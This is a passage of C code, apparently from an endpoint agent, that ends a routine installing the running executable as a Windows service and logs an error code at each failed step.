                                                         NULL,
                                                         NULL,
                                                         _WCH( "" ) ) ) )
                    {
                        if( StartService( hSvc, 0, NULL ) )
                        {
                            // Emitting as error level to make sure it's displayed in release.
                            rpal_debug_error( "service installer!" );
                            return 0;
                        }
                        else
                        {
                            rpal_debug_error( "could not start service: %d", GetLastError() );
                        }

                        CloseServiceHandle( hSvc );
                    }
                    else
                    {
                        rpal_debug_error( "could not create service in SCM: %d", GetLastError() );
                    }

                    CloseServiceHandle( hScm );
                }
                else
                {
                    rpal_debug_error( "could not open SCM: %d", GetLastError() );
                }
            }
            else
            {
                rpal_debug_error( "could not move executable to service location: %d", GetLastError() );
            }
        }
        else
        {
            rpal_debug_error( "could not get current executable path: %d", GetLastError() );
        }

        CloseHandle( hModule );
    }
    else
    {
        rpal_debug_error( "could not get current executable handle: %d", GetLastError() );
    }
    
    return GetLastError();
}